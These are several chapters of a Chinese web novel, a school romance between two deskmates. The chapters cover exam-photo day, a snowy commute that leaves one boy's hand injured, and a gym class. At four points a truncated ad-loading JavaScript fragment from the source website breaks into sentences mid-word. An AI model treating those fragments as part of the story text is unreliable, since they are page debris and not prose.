……好吧。勉强一半。 或许还要比一半再多上那么一点儿。 - 单休过完照旧又是周而复始的课程,林藏初连着失眠两天,终于在某个周一上午的生物课上顶风作案,头一歪昏睡成“人桌一体”的模样。 刚睡下不到五分钟,梦里的队友还在问他这局的ban位要给谁,林藏初就感觉自己的肩膀被人力道很轻地推了推。 “……老师要过来了。”谢遥集的声音低而近地靠在耳侧,吹得人连身带心地痒,“别睡。” “!”林藏初几乎是条件反射般地从梦乡里惊醒,胳膊一撑坐直了,强撑眼皮地往黑板上看—— 然后就看见了正在讲台上背着身认真板书的生物老师。 林藏初:“……” 哪里要过来了?这像是要巡视的样儿吗? 许是方才两秒钟内肾上腺素飙升的缘故,林藏初此刻困意全无。 他木着张脸看向“谎报敌情”的罪魁祸首,后者的脸上非但没有愧疚,反倒无辜地一摊手:“明明刚才还要往这边走呢。” “……不知道怎么突然就转过身开始写板书了。” “真的?”林藏初将信将疑地看他一眼。 谢遥集点点头:“真的啊。” 于是林大少爷没再计较,酝酿着失散的睡意又接着趴下了。 两分钟后,右边再次传来一阵不轻不重的咳嗽。 林藏初:“……” 林藏初困顿的头脑彻底清明,忍无可忍地爬起来,小小声地质问道:“你干嘛啊?” 谢遥集:“……抱歉。” “今天嗓子好像有点不舒服。” 林藏初的视线下意识地往他身上瞧,这人今天好像是要穿得比往常厚了一点。 ……感冒了吗? 林藏初有点后悔自己对病人喊得太大声,虽然都是气音,几乎没有差别。 他自认不是那种不讲理的人,更甭提这人还是自己整整两个晚上的失眠原因:“……没事,没影响到我。” “还有……那个啥,你记得吃药。” 这话乍一听有点语气别扭,硬要说好像又有点阴阳怪气,但谢遥集还是从善如流地接了:“好,我会的。” 咳嗽声在这段对话结束之后再没响起,林藏初在生物老师“大A大A小b小b”的催眠攻击下又开始困,眼皮打架地直往桌子上栽。 快要睡着的时候,旁边再次伸过来一只骨节分明的手。 动作很慢地把他的脑袋抬正了。 林藏初:“……??” 一次两次还能说是巧合,这都已经三次了——他算看懂了,谢遥集就是存心不想让他睡觉! 新爱旧恨叠在一起,什么喜欢啊暧昧呀全都散了花,林藏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 初在生物老师慷慨激昂的讲课声中转头瞪视:“你……” “这儿是高三(1)班不?” 门口忽然传来一阵迅急的敲门声,陌生的壮汉大叔操着副破锣嗓子探头往里喊:“轮到你们班拍高考证件照了!” 讲台上猝不及防被打断讲课的生物老师:“?” 刚要对着人兴师问罪的林藏初也:“?” 一时间三方人马面面相觑,直到几秒钟后邱老师紧随其后地从门外大叔冒出来半个脑袋:“……同学们出来排队吧。学校请的拍照师傅有点赶时间,耽误生物老师上课了。” “没事,下次再讲也是一样的。”生物老师大方地摆摆手,帮忙把人全赶走了,“拍个照能用多久,说不定回来还能接着讲呢。” 班主任一下令,班级里学生立刻闻声而动,不到两分钟整个课堂的座位就空空如也,生物老师遗憾地放下了自己手中的《直击高考》。 林藏初是最后一个出门的,走过讲台时耳尖地听见生物老师落寞的嘀咕声:“怎么又是我丢课啊……” 后面的话林藏初没听见,因为被大叔的粗犷嗓音盖过去了:“先按学号排好队!跟我走哈!” 谢遥集本来想跟在林藏初身后,被叫了也只好叹口气,出列去了最前面,成为光荣的队伍第一名。 林藏初排在最后一位,整只队伍在大叔的带领下七拧八歪地散着往楼下走,他听到自己前面的同学愁眉苦脸地叹气:“上帝保佑,这个师傅的拍照技术好一点。” 前前面的同学回头插话:“我也……真不想让自己的高中准考证照片那么丑……” 他们聊的这几句话太没须没尾,林藏初没忍住问:“你们怎么知道一定会拍丑的?” “林哥你不知道?” 最先出声的同学被林藏初一问,先是愣了下,随后开口解释,“咱们学校的高考证件照,向来是有多丑拍多丑。” “就拿上一届的举例吧,九十斤体重在照片里是一百九十斤的效果……说多了也理解不上去,等拍出来你就知道了。” 几人说话间的功夫,队伍的前排已经进了拍照室,林藏初清楚地听见这位同学再次叹了一口气。 ……真有那么丑? 好奇心作祟,林藏初没忍住在心里把“拍证件照”这件事往谢遥集身上套了一下。 谢遥集这种长得好看的,也会被拍丑吗? 队伍太长,负责拍照的教室又太小,林藏初排在末尾根本是连教室的门都进不去。 几秒钟后走廊地动山摇,是二班的同学下来了——也在等着拍照。 本就不大的北楼走廊瞬间挤满了人,推推搡搡地搁不下。 拍照室里忙着架设备的师傅终于想起来高三(1)班的队伍还剩了一半在外面,连忙喊:“一班的呢!一班的同学都进来!” 于是林藏初就在嘈杂声中跟着前面的同学一起挤进拍照室。 他进门的时候,师傅刚架好拍摄设备,正眯着眼睛看手里的学生名单。 林藏初站在门口,莫名其妙地跟着也有点紧张。 然后他就在这种紧张的情绪中听见拍照师傅操着一口不知道哪里的方言口音喊: “第一位!谢遥(幺)集(鸡)!” 51. Chapter 51 ……? 林藏初离得远,还以为自己听错了。 教室里一时沉寂无声,排在第一位的谢遥集显然也没反应过来,迟疑地走上前。 照相师傅低头看看名单,又抬头看看站在自己前面的谢遥集,又字正腔圆地确认一遍:“你是谢幺鸡啊?” 谢遥集:“……” 身后已经有同学忍不住开始笑起来,他叹了口气,心态良好地接受了这个不那么文雅的外号:“我是。” “小伙儿长挺帅哈。”师傅端详他几秒,毫不吝啬地夸赞道,“这照片照下来肯定上镜。” 然后将厚实的掌心在祖国花朵的肩膀十分用力地拍了拍:“去吧,到椅子上坐着就好。” 谢遥集依言过去,在那只摆在蓝色背景布前面的椅子上落座,木椅年头久了,乍一坐上去还有点晃。 “往左靠靠——头正一点,哎好,三,二,一!” 闪光灯十分迅速地闪了下,谢遥集坐在椅子上,听见拍照师傅半点间隔没有地喊:“好了,下一个!” 旁边摆着的电脑上就是新鲜出炉的热乎证件照。 教室里的长队走的是龙摆尾的形状,林藏初刚好站在负责检查照片的络腮胡大叔身后。 林藏初表面上是在看旁边窗台上摆着的缺水盆栽,实则视线余光一直停留在谢遥集身上。 眼瞧着不远处的人终于拍完照起身,他立刻先一步地看向电脑屏幕——但是没成功。 络腮胡大叔正好站起身活动筋骨,把他的视线严严实实地全部挡住了。 林藏初:“……” 草,偷窥计划失败。 他不死心,踮着脚悄悄地往左边挪了挪,试图从师傅坚实的后背和胳膊之间找出个缝隙,让自己刚好能看见电脑屏幕、又不至于太引人注目。 谢遥集的声音倏地在身后响起:“干什么呢?” 林藏初身子一歪,差点没直接摔在师傅身上:“我草。” “你这人怎么老是神出鬼没的?” 谢遥集:“?” 谢遥集:“拍完照之后站在队尾,难道不是很常见的事吗?” 林藏初的心脏跳得有点儿快,总感觉自己得了种听不得谢遥集声音的病。 他有点心虚地别过头,方才的虚张声势在一瞬间泄了气,转而生拉硬拽地换了个理由:“……好吧。” “我还以为你是特地过来找我……” “确实是。” 名为无理的嘀咕被人轻飘飘地截了话音,林藏初听见谢遥集好像是笑了。 “十分钟没看见同桌,有点想。” 林藏初的耳朵噌地红起来,恼羞成怒地喊:“谢遥集!” “嗯。”谢遥集握拳虚虚抵在唇边,揶揄的笑意几乎掩不住,“在呢。” ……以前怎么没发现这人脸皮这么厚? 林藏初简直快要冒烟了。 被林子浔残忍打开的潘多拉魔盒力量太强,他好像真的有些掌控不住。 林藏初无法确认自己对谢遥集的喜欢究竟到了什么程度,但只要对方轻飘飘地一靠近,他就会不受控制地心跳加速。 好奇怪。 像是被人拿魔法棒施了咒语一样。 林藏初低头盯着自己的鞋尖,半天没出声。 排在前面的同学一个接一个地轮流拍了照,拍完就走,很快教室里站着的学生就只剩了他们两个。 负责拍照的师傅端着学生名单再次仔细端详:“奇了怪了,这不是就剩一个了吗?” “屋里怎么还有俩呢?” “哦。”络腮胡大叔正好坐得近,回过头帮忙瞧了两眼,“有一个已经拍过了。” “林藏(zàng)初——是叫这个名字吧?”师傅的普通话听起来还是不好,林藏初又恰巧赶上个多音字,也难逃其难地被念错了,“这个字我认识,念藏(zàng)!绝对错不了!” 这是拍照师傅今天念错的第十四个名字。 林藏初麻木地心想,但嘴上还是很善解人意地留了面子,没拆穿。 师傅可能是拍得累了,先是指挥着林藏初摆好笑脸,然后想起什么,忽然按着照相机转头问络腮胡:“咱还剩几个班啊?” 络腮胡大叔捏着手指头数了数:“还剩三个吧?” “走廊等着的是高三(2)班,后面还有三班和四班,然后就没了。” “也不知道十二点之前能不能拍完。”先开口的师傅咂咂嘴,就这么心情放松地跟人聊起来了。 “还想回去搓顿烧烤——就公园附近那家,羊肉串烤得贼香。” “……真的假的啊?” “保真啊,收工之后咱哥几个一起去喝两杯……” “妥!那说好了你请客……” …… ………… 林藏初孤零零地坐在蓝背景布前的椅子上,等了很久都没等来按快门的声音。 他坚持三秒又坚持五秒,从努力微笑到强颜欢笑,最后实在没撑住,木着脸变成了生无可恋面无表情。 然后忽然听见摄影师傅“咔嚓”一声。 林藏初:“……” 谢遥集一直盯着络腮胡大叔面前的电脑屏幕,等看见林藏初那张新鲜出炉的死人脸照片,忍了又忍,最终还是没忍住:“噗嗤。” ……别说,丑得还有点可爱。 就不能弄来一份,存在相框里当个纪念吗? 他有些遗憾地心想。 只可惜林藏初自己是看不见了—— 谢遥集还没等把这句话想完,就听见络腮胡大叔豪爽地冲着回来的林藏初和他喊:“娃儿,你俩都是一班的,帮个忙,对对你们班的照片名单,看有没有错乱哈。” ……? 等会儿,怎么还有这个环节? 谢遥集忽然有了一种不好的预感。 但林藏初已经抢在他前面率先冲了过去,眼睛熠熠地发着亮:“得令!!” 谢遥集:“哎——” 他眼睁睁地看着林藏初一个箭步窜到电脑旁边,好看的手握住鼠标,然后轻轻地、眼含期待地扒拉了一下鼠标中间的滚轮。 …… 料想中的惊天爆笑声并没有出现。 谢遥集抬头,正好对上林藏初脸上想笑又不敢笑的古怪神情。 察觉到他的目光,后者飞也似的干咳一声,往旁边挪挪,十分大方地给谢遥集让了个位置:“给你,自己看。” 几分钟前嘲笑同桌鬼畜照片的报应来得很快。 谢遥集顺着林藏初鼠标指针指着的地方看过去,对上里面一张足足胖了能有二十斤的、很是陌生的脸。 ……? 这逼谁啊? - 于是整整一个下午,林藏初就看见他从来不屑于照镜子的同桌忽然找生活委员借了面小镜,并且开始频频揽镜自照—— 林藏初回想起那张颇为艺术感的照 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 片,想笑但是忍住了,十分贴心地没有多问。 临近放学,物理老师留完作业就出了门,谢遥集第一百零八次对着镜子摸了摸自己的脸,终于忍不住开口问同桌:“我长得真的有那么丑?” 林藏初猝不及防对上一张放大版的俊脸:“……” 到底好不好看,你自己不知道? 他离得实在太近,林藏初几乎连这人睫毛的数量都快要能数清。 细边镜框下那双狭长的桃花眼微微上挑地望过来,似乎是在等待一个真实的、非哄骗的答案。 林藏初又听见了自己的心跳声。 夹在劣质广播里刺耳绵长的放学铃中,很没出息地砰砰跳着。 犯规,太犯规了。 他忍不住想,原来漂亮的样貌也可以变现成一种杀伤力很大的武器。 就像现在这样,变成一把长了倒刺的、细而长的针,不费吹灰之力就能刺进自己的心脏的最深处,让人想拔都拔不出来。 “问你呢。”没能得到回答,谢遥集又凑近了一点,长而密的睫毛像是扑闪着的蝴蝶翅膀,“……同桌。” 这两个字被他念得低而缓,从舌尖轻轻抵出来气流似的,吹得林藏初耳根发痒。 林藏初倏地把自己往后撤了几厘米,捂着耳朵,到底还是没好意思把那两个夸赞人的字眼说出口。 “一张照片能卖两百块钱呢。” 他避重就轻地答,躲开的眼神无处适从,头一次看向了桌面上放着的、让人发困的物理卷,“而且谁敢说你长得丑——” “这不是在变相地骂她们眼睛瞎吗?” 好像什么都没说,又好像什么都说了。 谢遥集“嗯”了一声,自动把这句话在脑袋里给翻译了:“所以你其实也觉得我长得丑。” 林藏初:“?” 这都什么跟什么!怎么就长得丑了! “我哪里说——”他下意识反驳,“我是说她们——” “她们是她们。你是你。” 谢遥集垂着眼睛,在无人察觉到的角度很轻地弯了下唇角,问道,“那你呢?你觉得呢?” “……”林小少爷面子薄得很,越问越不肯把真心话讲出来。 平时都那样了,再强调一遍不是更助长谢遥集的嚣张气焰吗! 少爷开始厚脸皮地车轱辘话:“什么我觉得她们觉得……她们觉得就是我觉得!哪有什么不一样……” 谢遥集说:“你跟她们不一样。” 林藏初:“……” 林藏初张着嘴,很不出意外地大脑宕机,彻底卡壳了。 ……什么意思? 为什么不一样?因为是一个班的同学? 又或者,是因为当了两个月的同桌? 谢遥集今天在自己到底好看与否这件事上出奇地执拗,似乎只想听林藏初给他一个回答。 林藏初被缠得没办法,只好照着人的心意把真心话给一字一句地说了:“好看。” “特别好看。没事看两眼,一顿都能多吃三碗饭。” 谢遥集问:“真的啊?” “还能是假的?”林藏初有点生气了,红着脸骂,“爱听听不爱听滚。” ……看样子是真的。 谢遥集紧绷一下午的心终于放下来,没忍住又笑了:“好。” 虽然爸妈什么都没给他留,但至少给的这张脸还能在林少爷这里用很久。 ……足够了。 52. Chapter 52 临水县今年的第一场雪下得特别大。 准确来说是冻雨加雪,道路上结了厚厚的冰层,整个世界银装素裹、霜枝坠地。 林藏初从李叔的车上刚下来,脚就跟着一滑,差点赶公交似的摔了今年冬天的第一跤:“哎呦我草!” “小林少爷,您慢点儿——”李叔把车窗摇下来喊。 林藏初劫后余生地站稳脚跟,听见身后自家妹妹幸灾乐祸的嘲笑声。 “每次初雪天都要看你摔,这次竟然没摔,乍一看还有点不习惯。” 林子浔背着书包双手抱臂,在马路牙子边踩上踩下,以展示自己绝妙的平衡感:“但是以防万一,哥你今天还是老老实实地在教室里坐着算了。” 身边有学生三三两两结伴搀扶地往学校里面走,她话音刚落,就听见几米开外传来一声巨大的“卧槽”。 林藏初总感觉这声音听着有些熟悉,于是也跟着转过头。 果不其然看见了摔在地面上的陆明书。 陆明书生无可恋地躺在地上,旁边拽着的同学一边笑一边想把他拽起来,但是没拽动。 “……让我歇会儿。” 把背摔疼了的陆明书缓缓阖上双眼。 林藏初没忍住一乐,招手喊他:“怎么来学校就躺下了?” 躺在地上的陆明书听见声音,瞬间一个鲤鱼打挺蹦起来:“林神?” “好巧啊!你也刚来学校?” 林藏初看了眼学校大门上还剩两分钟上课的电子时钟,讳莫如深地点点头:“嗯,刚来。” 陆明书身边的同学抬起手表,好心提醒道:“还剩半分钟上课。” “啥?”陆明书刚把校服棉袄上粘着的雪花拍掉,“还剩半分钟?” 他皱眉朝着学校周围看了一圈:“这不是还有这么多没进来的学生……” 操场上的上课铃准时响起,无情打断了陆明书的话。 所有还在校门外面的同学俱是一愣,幡然醒悟般地开始齐刷刷地往学校里跑。 林子浔在刚刚听见还有半分钟上课的时候就已经抱着书包跑进了门。林藏初迟到惯了,对于上课准时这件事没有什么太大的执念。 刚一抬脚就又要有摔倒的趋势,他立刻止住脚步站在原地,有所预感地一抬头。 前后左右连着几声沉闷的“噗通”,担心迟到慌不择路地开跑的同学们一个接一个地摔在了地上,七仰八叉躺成一片。 目睹一切的陆明书心惊胆战地收回自己要迈步开跑的脚:“……卧槽啊。” 好庞大的场面。 等林藏初终于一步一滑地爬到五楼,走进教室之后,第一节课已经上过去十五分钟了。 不喜学生迟到的生物老师罕见地没骂人,林藏初还奇怪,结果一转头看见整个班的座位都空了一小半。 其中也包括自己的学神同桌。 林藏初:“……” 看出来了。 这上学的路是真难走啊。 生物老师这堂课上得很断断续续,因为隔三差五地就有人带着一身的冰碴敲门进来。 林藏初看着班级里越来越满的人,罕见地有些烦躁。 距离下课还剩五分钟,他身边的座位竟然还是空着的。 谢遥集住的地方明明离学校不远。 为什么现在还没来? 林藏初的手指缓缓地摸向桌屉里的手机,刚碰到边壳,又像是被烫到地收回去。 ……会不会有点太越界了? 今时不同往日,林小少爷难得地思考起这个平时不会引人注意的问题来。 普通的“好”同桌也会整天过问对方的行踪吗? 他的思维在这个“好”字上面短暂地停留了几秒钟,心里像是有两个带着翅膀的小人在你一叉我一棍地打架。 天使小人说:你喜欢他就要关心他呀?这样故意避嫌算什么! 恶魔小人回骂:万一又是像上次一样睡过头了呢?他迷妹们那么多,发消息的关心也不差你这一个! 几个回合下来,恶魔小人成功胜利。 林藏初叹了口气,把放在旁边空位上的视线收回来,重新翻开桌面上的生物题。 ……头太热,干脆学习降降温算了。 - 谢遥集是最后一个进班的。 从他进来那一刻起,林藏初的视线就控制不住般,牢牢地粘在对方身上—— 明明只是一节课没见,却感觉已经过了很久。 这人的身形就算裹上了厚实的冬季校服,也还是显得有些略微单薄。 风一吹就要倒似的,只是林藏初莫名其妙地回想起来被人握着手腕时候的力道。 ……挣脱不开。 果然看事物不能只看表面。 临到近前他才发现谢遥集的步伐有些晃。 校服领口和发尾也沾了些白色的雪,不仔细看几乎看不出来。 谢遥集拉开书包拉链时用的是左手。垂在身侧的右手以一个非常隐蔽的角度掌心向内微微弯着,从始至终都没有抬起过。 如果林藏初没记错,谢遥集在上课前是有用右手转几下笔的习惯的。但是今天没有。 他眼睁睁看着这人咬开笔盖,全程无右手参与地翻开老师正在讲的化学卷,非常自然地左手持笔,再非常自然地跟着老师的讲课节奏开始订正答案。 ……就是字有点丑。 跟自己的笔迹不相上下。 林藏初很不合时宜地想起谢遥集当初用左手帮他写的那份三千字检讨。 除此之外再没见过这人用左手写过字。 谢遥集不是那种讲究化学课不开小差的人——往常就算是再忙也会见缝插针地回个纸条。 林藏初看着被自己推过去、但对方罕见没有注意到的纸条,心里隐隐约约地有了猜测。 趁着化学老师回身板书的功夫,他皱着眉拍了下谢遥集的肩膀:“喂。” 谢遥集的反应像是慢了半拍,隔了几秒才转头看他,有些疼似的:“……怎么了?” 林藏初没说话,直接越过人,把对方一直藏着掖着的右手往前一拽。 谢遥集始料未及,等想收回来的时候已经来不及了,林藏初清楚地看见上面渗出来的鲜血,以及这人僵硬的手腕关节。 “……”林藏初问,“摔了?” 谢遥集努力想把自己的手往回抽,但失败了。 “嗯。”他低声道,似乎是不知道该 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎么解释这件让人丢脸的事,“路上摔的。” 讲台上好像是进行到了探讨环节,老师和同学各执一词不逞相让,两个人的对话被教室里嘈杂的讨论声盖过去。 “又在偷偷藏伤口。” 林藏初垂着眼睛,视线落在这人因为疼痛而微微发颤的手指上,“就这么怕被我看见?” “……” 那股想要把手抽回去的力道忽然消失了。 又过了很久,林藏初才听见这个人开口,嗓音很低,又带着点生涩的哑:“嗯。” “……太倒霉了。”倒霉到不想让你看见。 “丢脸。” 林藏初抓着谢遥集的手,忽然有点不知道该怎么去形容自己此时的心情。 讲台上的人还在吵,吵到一半老师终于想起来班里还有谢遥集这么个物理外挂般的存在:“谢遥集呢?” “你起来说,这题该选什么?” 一瞬间,所有前排和老师争吵的、后排摸鱼的同学,全部都被吸引注意力地瞧过来。 林藏初和谢遥集两个人处于班级正中间,就这么以这种扭曲的奇怪姿势进入了众人的视线:“……” 忙着和学生吵了半节课架的化学老师终于发现不对:“你俩干嘛呢?” 化学老师年过五旬,但腿脚与年轻时相比毫不逊色,爬五层楼也轻轻松松不在话下,此时此刻一个箭步就窜到了教室中间:“上课不听课!还偷偷搞小动——” 林藏初赶在最后一秒,险之又险地从自己书包里抽出来上学之前,林妈妈好说好劝硬塞进去的纱布和碘伏棉签:“……那个啥。” “老师,他手坏了,我在帮忙包扎。”林藏初如实相告道。 “啊??”化学老师紧急刹车地把剩下的半截“搞小动作告诉你们班主任”咽回去,“手坏了??!” 林藏初点点头,举着谢遥集动弹不得的手腕往前递了递。 谢遥集配合地往前倾了下身,好让化学老师看得更仔细点儿。 掌心肿了手背破了,下面的腕关节处更是青紫一片,看着都触目惊心。 化学老师长长地“嘶”了声,眉头紧锁,好似下一秒就要把人送去门口诊所:“没伤到骨头吧?手还能动吗?” 谢遥集摇头又点头,刚想说没事,就听见老师语气心疼地关怀道:“这样吧,这周作业你先不用写了,手好了再说。” “休息休息,好好养伤。” 还在旁边举着纱布的林藏初:“?” 化学老师什么时候这么好说话了??! 托谢遥集右手伤势的福,老师只叮嘱他多加休息、又叫林藏初好好帮忙消毒之后就没再管过这边。 林藏初拿着纱布一边缠一边叹气,缠一下看谢遥集一眼,然后再接着叹气。 谢遥集摸不清他什么意思,直到自己的手被人缠得像个粽子一样,腕骨处还打了个丑陋的蝴蝶结。 他才终于听见林藏初叹完最后一口气,道:“好羡慕。” 谢遥集:“……” “但是看着好疼。要我故意摔的话我也不太敢摔。”林藏初又说,“凭运气……我还不至于倒霉到这种程度。” 刚想开口接话的谢遥集:“。” 53. Chapter 53 林藏初这一整天的课都上得心不在焉。 因为左手写字的缘故,旁边人的胳膊会时不时会越过桌面的缝隙线,轻轻地蹭过来,随即又蜻蜓点水似的一触即分。 “……”林藏初握着笔的手指始终没往下落,过去很久之后,草稿纸上还是空白一片。 好在谢遥集并没有往这边看。 窗外不知道什么时候又开始下起雪,满天雪花慢悠悠地晃荡着往下飘。 偶尔有一两片运气很差地粘在双层玻璃外面,隔着上面不规则的裂纹被分割成更碎的几瓣。 林藏初找得眼睛疼,才找到一片完整的、教科书般的正六边形雪花。 前座同学趁着老师不注意,偷偷把窗户开个缝隙,连盒带袋地塞出去几盒糯米糍。 他同桌张牙舞爪地抗议想拿回来直接吃,结果被人面无表情地按着脸推开了。 林藏初刚好看见这一幕,没忍住乐了,收回视线往黑板上瞧。 他其实很少听课,除了语文课,哪科老师讲的都像天书。文理分班的时候跟林父吵架没吵过,没有办法才来的理科班。 比起学习还是更喜欢打游戏。 ……但自从跟谢遥集做同桌,听课好像也变得没那么烦。 想起上次考试自家爹捧着成绩单左看右看、百思不得其解的复杂神色,林藏初又叹了口气。 可能人的天赋是有限的吧。在一个领域超凡脱俗,就会在另外的事情上面摔得头破血流。 但是花大价钱让儿子进了课改实验班的林父显然不这么想。 “人的潜力是无限的!” 在高中第一次月考之后,他看着林藏初缺胳膊少腿的成绩单,秉承着鼓励式教育理念地如是道。 林藏初又想起自己的发小程九理——程家是本地人,程父程母年轻时一步步打拼才有了现在的辉煌,对孩子的教育抓得要比一般富人家严得多。 从小到大的补课班就没断过,连高中都是跳了一年早早上来的。 简直比他惨得有过之而无不及。 临近中午放学,墙上的广播又开始响。 不是通报批评也不是考试通知,蒋主任的浑厚声音是种与平时不符的关切和慈爱:“同学们请注意,雪天路滑,上学路上请务必注意人身安全!减速慢行,切勿奔跑打闹——可以迟到!” “?”班里立刻嘈杂起来,同学开始叽叽喳喳交头接耳,“我没听错吧……” “蒋主任刚才说,下午可以迟到?” “还有这种好事儿?” “……不确定,再听听。” “再强调一遍,可以迟到!” 广播里的蒋主任声音抑扬顿挫荡气回肠,“务必以自身安全为——” 咔嚓。 声情并茂的叮嘱通知忽然断掉了。 开着灯的教室在一瞬间暗下来,刚想趁着广播期间摸鱼的物理老师震惊仰头:“停电了?” 离门口最近的同学探头出去看了看走廊的应急灯:“好像是……等下,别班怎么都直接走了啊?” 可怜蒋主任话说一半就被迫闭麦,但好在通知已经成功传达——并被人很有眼力见儿地添油加醋版即刻履行了。 林藏初看到教室最后排有人遥遥举手:“老师!我听见了!” “隔壁班的化学老师说,雪天路滑不好走,叫同学们早点回家吃午饭!” 于是整个五楼的上午最后一节课,很统一地提前十五分钟结束了。 林藏初起身的时候,谢遥集还留在座位上没动。 “……你怎么不走?” 周围的人都欢呼雀跃地冲出门,林藏初脑袋没转过来,下意识开口问。 谢遥集还在估量刚发下来的练习卷难度,闻言先是看了他一眼,似乎在确定这人到底是不是真心发问。 林藏初脸上表情认真,大有一种“你不走我就不走”的鱼死网破劲儿。 谢遥集虽然没搞懂,但还是纳着闷地回了:“早去了食堂也不开门,我出去干嘛?” 时隔太久,已经忘记同桌每天在学校食堂吃饭的林藏初:“……” 糟,记性太差把天聊死了怎么办QAQ 在线等,急.jpg - 下午的第一节照例是体育,林藏初相比于其他同学来得算早,放眼望去整个教室只有零星的几个人在。 高姿坐在椅子上睡眼惺忪地啃面包,在周围趴桌子睡觉和写练习题的人里显得尤为鹤立鸡群。 “……你也没回去啊?”林藏初问。 “家里人不在。”高姿顶着一张无比怨念的脸回答道,“没有饭吃。” 林藏初下意识地想起来某个备选方案:“怎么没去学校食堂?” “那个饭菜是人能吃的?”高姿成功被触发关键词,条件反射般地一抽气,“我宁可啃面包!” “……”林藏初想起自己在食堂吃过的菜,十分识相地默了。 自家同桌在他心里的贫穷程度又上升了一个百分比。 外面还下着雪,学生出去上体育课的兴致明显比平时要高,一个两个都全副武装摩拳擦掌地提前往下跑。 下雪天的北楼楼梯更是灾难现场,林藏初这回吸取教训地早早穿了防滑鞋,但还是走得心惊胆战。 他扶着楼梯一步一步地慢慢往下走,莫名想起几个月前下着雨的那个午后。 巧克力甜筒,雨伞,红砖块。 还有摔进雨里的两个人。 被人按在卫生间门板上的触感到现在都还记得。 奇怪的是,当时被忽略的感受如今在记忆里面变得越发明晰,就好像是刚开封的墨条在砚台里一圈一圈地磨下去,到现在才洇出浓墨来。 淅淅沥沥向下滴着水的头发,那人漂亮又好看的锁骨。按在耳侧带着凉意的手掌。 以及说话时轻轻拂过耳廓的温热吐息。 迟到多日的脸红和羞赧在瞬间潮水般涌上来,林藏初的心猛地一跳,刹车般停住脚步,狠狠地抓了下楼梯扶手。 ……不能再想了! 林藏初捂着自己发烫的脸,半天都没再往下走。 旁边有同学经过,奇道:“林哥,你咋了?” “……没。”林藏初隔了很久才放下手,闷着嗓子道,“没怎么。” 在对方察觉到他尚未消红的耳廓之前,林藏初强硬地转移话题,指着他手里的手套和套头围巾道:“你们这是打算下去打雪仗吗?” “对啊!”同学果然被转移了注意力,提到打雪仗语气都跟着兴奋起来,“下雪天的体育 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 课,不打雪仗还有什么意思!!” “去年被体委玩儿阴的害我惨败,时隔一年看我不狠狠把他按雪里……” 同学背过身去沉醉地畅想,丝毫没有注意刚好走到自己后面的体委:“把我按雪里?” 同学缓缓回头:“?” 体委冷笑:“哈。” “……”被当场抓包的感觉十分不好,同学抱着自己的武器和防具一步一挪地走了,“林哥楼下见!” 林藏初:“……好,楼下见。” “他啊,打雪仗谁都打不过。”体委抱着臂看同学仓皇逃窜的背影,笑道,“希望今天运气能好点儿,别再被人往后脖领里塞雪块了。” “林哥你来不?这种项目你肯定厉害。”他看着林藏初,热情地邀请道。 林藏初想了想自己热爱做题的同桌,又想象了一下谢遥集参加这种活动会是什么样。 肯定被砸得满身都是雪。 说不好还会被人一巴掌拍在雪堆里。 “……还是算了。” 林藏初及时止损地停止了自己的想象,觉得有时候学神包袱掉太碎也不是件好事。 “我要跟我同桌一起混去。” “有了学神同桌就是不一样。”体委咂咂嘴,“那成,你跟他去,我们先玩。” 林藏初点点头挥手告别,但虽然嘴上这么说,脑子里其实还是乱的。 ……他现在有点不敢见谢遥集。 刚才还把人家从上到下身上一块不落地想了一遍呢。 再去故意去见的话,未免有些太奇怪。 林藏初就这么一边想一边下了楼。 外面的天气冷,刚一出门,睫毛上就结了层薄霜。 他眨眨眼,试图把它眨掉,但没能成功。 白色的林荫路上零零散散地站了些学生,不多,剩下的估计全在迟到的上学路上。 林藏初下意识地找了一圈,没能在抱着书和卷子的那堆人里找到谢遥集。 ……又没来吗? 林藏初没戴手套,插在口袋里的手冷得快,只好时不时地掏出来呵口气。 有几个熟悉的同学看他一个人站着,想叫过来一起玩狼人杀,林藏初拒绝了。 迟到的同学陆陆续续都过来加入了体育课大军,甚至还有直接上阵打雪仗的。 林藏初站的位置角落偏僻,很幸运地没有成为被打雪仗波及到的一员。 但生活委员显然没有那么幸运,聊天只聊到一半就被空中飞来的雪球砸了脑袋。 “我草——谁敢砸老娘!”高姿怒骂,帽子一戴六亲不认地冲进战局,“都别活!” 周扬抱头鼠窜地往树后面躲:“别砸我别砸我!刚刚不是我扔的哈哈……哎呦真不是我!” “要是谢遥集也在就好了。” 林藏初看着热热闹闹的操场没来由地想。 然后也就这么自言自语地说出口了。 “谢神啊,他这一节课估计都不在了。” 旁边不知道站了多久,正在对着道课外阅读冥思苦想的英语课代表幽幽接话,“我刚来的时候碰见他了。” “不光谢神,还有其他班的几个同学,都被主任叫去开会了。” “好像叫什么——尖子生座谈会?” 54. Chapter 54 临水一中的尖子生座谈会只有年级前十五才有资格参加。 升上高三之后每次月考都会举办一次,老师和学生齐聚长桌共讨试卷,对成绩提高有没有用不知道,但形势流程一定要走。 上次谢遥集因为缺考掉出了年级前十五,自然也就不在被邀请的席列里。 所以林藏初才对这件事没什么印象。 少爷在体育课找同桌玩耍的计划落空,心里有点郁闷,但也没好意思往外说。 方有才贴心地把自己的英语阅读限时练递过来两页:“一起写?” 林藏初:“……” 林藏初麻木地推开了:“不,谢谢,我不写。” “好吧。”方有才遗憾地收回手,“那我去找别人。” 林藏初目送他抱着英语题慢悠悠地离开,戳了戳下一个物色好的搭子目标:“要写英语卷不?” 被他戳了的高姿反手扣过去一个雪球:“体育课写什么英语卷!来打雪仗!” 林藏初看着方有才被一群人热情拉走,嘴里还碎碎念着“啊!我的卷儿!”,没忍住乐了。 远处的狼人杀牌局已经进行到了第三局,林藏初站得实在无聊,锁屏的手机揣在兜里,有种想把它拿出来的冲动。 最后忍住了,还是没拿。 一只灰色的松鼠从雪堆里窸窸窣窣地蹦出来,先是在林藏初面前安静地啃了几口雪,然后抱着松果蹿上树,一眨眼就没了踪影。 左等右等到快要下课,还是不见人。 在第三十次望向北楼空荡荡的大厅,只看见了门口伫立的蒋主任之后,林藏初终于长长地叹了口气。 他决定溜到楼上去偷偷瞧一眼。 哪怕只隔着窗户呢。 